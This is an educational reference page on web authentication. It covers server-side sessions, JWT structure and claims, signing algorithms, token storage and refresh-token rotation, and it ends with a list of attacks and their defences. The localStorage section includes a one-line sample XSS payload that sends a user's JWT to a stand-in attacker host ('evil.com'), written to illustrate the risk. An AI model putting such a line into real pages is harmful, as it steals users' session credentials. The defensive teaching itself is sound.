Auth Engineering Reference

Sessions & JWTs

The complete inner workings — from cookie jars to signed tokens, storage wars, attacks, and production wisdom.

Deep
Dive
Reference
v2.0
01 — Foundation

The Core Problem: HTTP is Stateless

HTTP was designed to be completely stateless. Every request is a blank slate — the server has zero memory of who you are between requests. You log in, then make the next request... and the server has no idea you were ever there.

🎭 The Amnesiac Bartender

Imagine a bar where the bartender forgets your face every time you step away. You order a drink, show your ID, get served — then turn around to grab some nuts. When you come back 10 seconds later, the bartender demands your ID again. Every single time.

That's HTTP. Session management is the solution: giving the bartender a notepad (server-side sessions) or giving you a wristband (tokens/JWTs) that proves you already paid.

Two fundamentally different approaches emerged to solve this:

Approach A
Server-Side Sessions
Server remembers you. Client just carries a reference ID (like a ticket stub). Server looks you up every time.
Approach B
Tokens (JWT)
Server remembers nothing. Client carries a self-contained, cryptographically signed credential. Server just validates it.

02 — Classic Approach

Session-Based Authentication

The traditional web approach. The server does all the heavy lifting.

Session Flow — Step by Step
🧑
User → Server
POST /login with credentials
User submits username + password via a form.
The credentials travel over HTTPS (never HTTP — plain text passwords over the wire is catastrophic). The server receives them and begins verification.
⚙️
Server
Verifies credentials, creates Session
Server checks the password hash, then creates a session record in a store (DB, Redis, memory).
Session record stores: user ID, roles, login time, expiry, and any other relevant state. A cryptographically random session ID is generated (e.g. 128-bit hex). Never use sequential IDs — they're trivially guessable.
🍪
Server → Browser
Set-Cookie: sessionId=abc123
Server responds with a Set-Cookie header. Browser stores the cookie automatically.
Ideal cookie flags: HttpOnly (JS can't read it — XSS protection), Secure (HTTPS only), SameSite=Strict or Lax (CSRF protection), appropriate Max-Age. This is your entire security posture in one response header.
📨
Browser → Server (every subsequent request)
Cookie: sessionId=abc123 sent automatically
The browser attaches the cookie to every request to the same domain. No code needed.
This automatic behavior is both the power and the danger of cookies. It means you get auth for free on every request, but it also enables CSRF attacks if you don't use SameSite or CSRF tokens.
🗄️
Server — every request
Looks up session in store
Server takes the session ID from the cookie, queries the session store, and gets user data back.
This is the key trade-off: every single authenticated request hits the database or cache. Redis makes this fast (sub-millisecond), but it's still a dependency. If the session store goes down, all users are logged out instantly.
Server → User
Serves the response
Session found and valid — request is fulfilled. The user sees their data.
Logout is simple: delete the session record from the store. The session ID cookie becomes worthless immediately — even if someone stole it, it no longer maps to anything. This is immediate invalidation, which JWT cannot do easily.
🎫 The Coat Check Analogy

You give the coat check your jacket. They give you a ticket stub (session ID). You keep the stub; they keep the jacket (your data). Every time you want your jacket, you show the stub and they fetch it. If you lose the stub, it's fine — they can cancel it. If the coat check closes (session store outage), everyone loses their jacket at once.

03 — Modern Approach

JSON Web Tokens (JWT)

Pronounced "jot". A JWT is a self-contained credential — a compact, URL-safe token that carries all the information the server needs, signed so it can't be tampered with.

The defining insight: the server stores nothing. Instead of a session ID that points to server-side data, the JWT is the data — and the signature proves it hasn't been modified.

🏛️ The Notarized Document Analogy

Imagine a notarized letter: "This is John, he's a senior engineer at Acme Corp, cleared for building access until Dec 31." The notary (IdP/auth server) stamps and signs it. Anyone who sees the letter can verify the stamp is real — no need to call the notary. John carries his own credential.

If John gets fired, the letter still looks valid until it expires. That's the JWT revocation problem.
🔑
Login /
Auth
server signs
🪙
JWT
Issued
stored client
📤
Sent in
Header
verify sig
Server
Validates
time passes
Token
Expires
refresh
🔄
New JWT
Issued

04 — Inner Structure

JWT Anatomy: Three Parts

A JWT is three Base64URL-encoded JSON objects, joined by dots. Hover over each segment.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEyMyIsImVtYWlsIjoiYWxpY2VAY29tcGFueS5jb20iLCJyb2xlcyI6WyJhZG1pbiIsImVuZ2luZWVyaW5nIl0sImlhdCI6MTcwNTMyODAwMCwiZXhwIjoxNzA1MzMxNjAwLCJpc3MiOiJodHRwczovL2F1dGgubXlhcHAuY29tIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header
Payload
Signature
base64url encoded · separated by dots
① Header
{
 "alg": "RS256",
 // signing algorithm  "typ": "JWT"
 // always "JWT" }
② Payload (Claims)
{
 "sub": "user_123",
 // subject (user ID)  "email": "alice@co",
 "roles": ["admin"],
 "iat": 1705328000,
 // issued at (Unix ts)  "exp": 1705331600,
 // expires at (+1hr)  "iss": "https://auth…"
 // issuer }
③ Signature
RSASHA256(
 base64(header)
 + "."
 + base64(payload),
 privateKey
)

// Server verifies with publicKey // Payload is NOT encrypted // Anyone can read it!
🔴
Critical misconception: JWT payload is encoded, not encrypted. Base64URL is trivially reversible — paste any JWT into jwt.io and read everything. Never put sensitive data (passwords, SSNs, secrets) in a JWT payload unless you use JWE (JSON Web Encryption).
The signature does guarantee integrity: if anyone modifies the payload, the signature won't match and the server will reject it. Tamper-evident, not secret.

05 — The Payload

JWT Claims Reference

Claims are statements about the user. Three categories: Registered (standardized), Public, and Private.

ClaimFull NameTypeMeaning
issIssuerRegisteredWho created this token. E.g. https://auth.myapp.com
subSubjectRegisteredWho the token is about. Usually a user ID. Must be unique.
audAudienceRegisteredWho the token is intended for. Server must check it matches.
expExpirationRegisteredUnix timestamp after which the token is invalid. Always check this.
nbfNot BeforeRegisteredToken is not valid before this time. Prevents early use.
iatIssued AtRegisteredWhen the token was created. Useful for age checks.
jtiJWT IDRegisteredUnique ID for this token. Use to prevent replay attacks.
emailEmailPublic (IANA)User's email address. Common custom addition.
rolesRolesPrivateApp-defined. Custom claims agreed between issuer and consumer.
scopeScopePublicOAuth scopes the token grants. E.g. read:profile write:posts
⚠️
Claim names are case-sensitive and short by design — JWTs are often sent in every request header, so size matters. Keep payloads lean. A large JWT can bloat every single HTTP request.

06 — Cryptography

Signing Algorithms

The algorithm in the header determines how the signature is created and verified. This is one of the most security-critical choices.

One shared secret key — used for both signing and verification. If you control both sides (issuer and verifier), this is simpler and faster.

HS256
HMAC + SHA-256
✓ Fine for simple cases
Both sides share the secret. Can't distribute safely.
HS384
HMAC + SHA-384
✓ Stronger hash
HS512
HMAC + SHA-512
✓ Strongest HMAC
⚠️
The shared secret problem: If your API server and auth server both need the secret, you have to distribute it. Every place that holds the secret is an attack surface. If it leaks, anyone can forge JWTs.

A private key signs; the public key verifies. You can share the public key with everyone — only the private key can create valid tokens.

RS256
RSA + SHA-256
★ Most common in prod
Widely supported. Use 2048-bit+ keys.
RS512
RSA + SHA-512
✓ Stronger hash
ES256
ECDSA + P-256
★ Modern best choice
Smaller keys, same security as RSA-3072. Faster.
PS256
RSA-PSS + SHA-256
✓ RSA best practice
More secure than RS256. Slightly less supported.
none
No Signature
✗ NEVER use
Infamous attack vector. Many libraries used to accept it. Anyone could forge tokens.
Why asymmetric wins at scale: Your auth server holds the private key. Every microservice, third-party API, or CDN edge node can verify JWTs using just the public key — which you can publish openly (JWKS endpoint). Zero secret distribution problem.
🔴
The "alg: none" attack: Early JWT libraries would accept a token with "alg": "none" and no signature. An attacker could craft any payload, strip the signature, and gain access. Always explicitly whitelist allowed algorithms server-side. Never trust the header's alg blindly.

07 — The Great Debate

Where to Store Tokens

The most argued topic in web security. Every option has trade-offs.

Pros
✓ Easy to use via JS
✓ Works for cross-origin requests
✓ Simple to implement
✓ Persists across tabs/windows
✓ No CSRF risk (not sent automatically)
Cons
XSS vulnerable — any injected JS reads it
✗ One script inclusion = token stolen
✗ No isolation from third-party scripts
✗ Persists even after "logout" if not cleared
🔴
The XSS nightmare: Your site runs 47 npm packages. One gets compromised and injects fetch('evil.com?t='+localStorage.getItem('jwt')). Every user's token is now stolen. localStorage is the #1 JWT storage mistake.
Pros
✓ Most XSS-resistant option
✓ Gone on page close (no persistence attack)
✓ No CSRF risk
✓ No storage API required
Cons
✗ Lost on page refresh — user logged out
✗ Requires refresh token in HttpOnly cookie to restore
✗ Complex to implement correctly
✗ Doesn't persist across tabs
🧠 Best of both worlds pattern: Store the access token in memory (JS variable). Store the refresh token in an HttpOnly cookie. On page load, silently call /refresh to get a new access token from the refresh token cookie. Fast, secure, seamless.

08 — The Big Decision

Sessions vs JWTs: The Full Picture

DimensionServer SessionsJWT Tokens
Server stateStateful — server stores sessionStateless — server stores nothing
ScalabilityNeeds shared session store (Redis) across serversEach server independently validates. No shared state.
Instant revocation✓ Delete session record → immediate logout✗ Must wait for expiry, or maintain blocklist
Database hit per requestYes (unless cached)No — validation is pure computation
Payload sizeTiny cookie (just an ID)Larger — all claims encoded in token
Cross-domain / MicroservicesHarder — session store must be sharedEasy — any service can validate with public key
Mobile APIsWorkable but awkwardNative — Bearer tokens in Authorization header
User data freshnessAlways fresh — read from DB/storeStale until token refreshed — roles changes lag
Logout complexitySimple — delete sessionHard — need blocklist or short expiry
Implementation complexityLow — battle-tested librariesMedium — more moving parts
Best forTraditional web apps, admin panels, anything needing instant revocationAPIs, microservices, mobile apps, multi-tenant SaaS
🤔 Which should you use?

Sessions: You're building a traditional web app, you need instant revocation (banking, healthcare), or you're a small team who wants simplicity.

JWT: You're building an API consumed by mobile/SPAs, you have microservices that all need to verify identity, or you're working across multiple domains/origins.

Both: Many production systems use JWT for API authentication AND sessions for the web frontend. Not mutually exclusive.

09 — The Pattern

The Refresh Token Pattern

Access tokens should be short-lived (15 minutes). But you don't want users re-logging in every 15 minutes. Enter: refresh tokens.

Access Token
Short-lived · ~15 mins
Sent with every API request. If stolen, damage window is tiny. Lives in memory or HttpOnly cookie. Validates statelessly.
Refresh Token
Long-lived · days/weeks
Used only to get new access tokens. Never sent to API servers. Stored in HttpOnly cookie. Server stores it — can be revoked instantly.
Refresh Flow
📤
Client
Access token expires (401 response)
API returns 401 Unauthorized. Client catches this.
Good clients implement an interceptor (Axios, fetch wrapper) that automatically catches 401s and triggers the refresh flow, then retries the original request — transparent to the user.
🔄
Client → Auth Server
POST /refresh with refresh token cookie
Silent request to the auth server. Browser sends the HttpOnly refresh token cookie automatically.
This call goes only to the auth server, not to your API. The refresh token never touches your API servers. Use Refresh Token Rotation: issue a new refresh token on every use and invalidate the old one.
Auth Server
Validates, issues new access token
Auth server validates the refresh token against its store, then returns a fresh access token.
Because refresh tokens are stored server-side, they CAN be instantly revoked (unlike access tokens). This is how "log out all devices" works — revoke all refresh tokens for a user. If a refresh token is used twice (detected reuse), it should be treated as a compromise signal and all tokens for that user revoked.
🚀
Client
Retries original request with new token
Original API call succeeds. User never noticed the refresh happened.
This seamless experience is why SPAs use this pattern. The user feels like they're always logged in, even though their access token technically expired. The refresh window (days/weeks) is their real session length.
ℹ️
Refresh Token Rotation: Each time a refresh token is used, invalidate it and issue a new one. If an old refresh token is used again, it means it was either stolen or the legitimate client has a bug — treat it as a security incident and revoke all tokens for that user.

10 — Threat Landscape

Security Attacks & Defences

Click any card to see the defence.

Critical
XSS Token Theft
Injected script reads localStorage and exfiltrates your JWT to an attacker server.
🛡️ Defence: Store tokens in HttpOnly cookies (JS-inaccessible). Implement a strict Content Security Policy (CSP). Sanitize all user-generated content. Audit npm dependencies.
Critical
CSRF Attack
Attacker tricks your browser into making authenticated requests to your app from their site. Cookie sent automatically.
🛡️ Defence: Use SameSite=Strict or Lax cookies. For sensitive actions, also use CSRF tokens (Double Submit Cookie pattern). JWT in Authorization header is naturally CSRF-immune.
Critical
Algorithm Confusion
Attacker changes header from RS256 to HS256 and signs with the public key (which they know). Naive servers accept it.
🛡️ Defence: Always explicitly specify which algorithms to accept on the server. Never derive the algorithm from the token's header. Whitelist: allowedAlgorithms: ['RS256'].
High
JWT Replay Attack
Attacker intercepts a valid, non-expired JWT and uses it to make requests as the victim.
🛡️ Defence: Short expiry times (15 min). Use the jti claim with a blocklist for truly sensitive operations. HTTPS everywhere (prevents interception). Bind tokens to IP or fingerprint (controversial).
High
Session Fixation
Attacker sets a known session ID before authentication. After the victim logs in, attacker uses that session.
🛡️ Defence: Always generate a new session ID upon successful authentication. Never reuse pre-login session IDs. Regenerate after privilege changes too.
High
Session Hijacking
Session cookie stolen via network sniffing (HTTP), XSS, or malware. Attacker takes over the session.
🛡️ Defence: Always use HTTPS (Secure cookie flag). HttpOnly prevents XSS reads. Validate User-Agent and IP binding (soft). Short session timeouts. Re-auth for sensitive operations.
Medium
JWT None Algorithm
Server accepts "alg": "none" — attacker creates unsigned tokens with arbitrary claims.
🛡️ Defence: Use a well-maintained JWT library. Explicitly reject "none". Many modern libraries reject it by default but always verify this in your configuration.
Medium
Weak Secret Key
HMAC secret is too short or predictable. Attacker brute-forces it offline after intercepting a JWT.
🛡️ Defence: Use at least 256-bit (32-byte) random secrets for HS256. Better yet, use RS256/ES256 (asymmetric) where the "secret" is a private key that never needs to be shared.
Medium
Stale Claims / Privilege Lag
User is fired or demoted, but their JWT still carries admin claims until it expires.
🛡️ Defence: Short expiry (15 min). For immediate revocation: maintain a token blocklist keyed by jti. Or use opaque tokens for sensitive resources and check server-side state. Accept the trade-off consciously.

11 — Test Yourself

Quick Quiz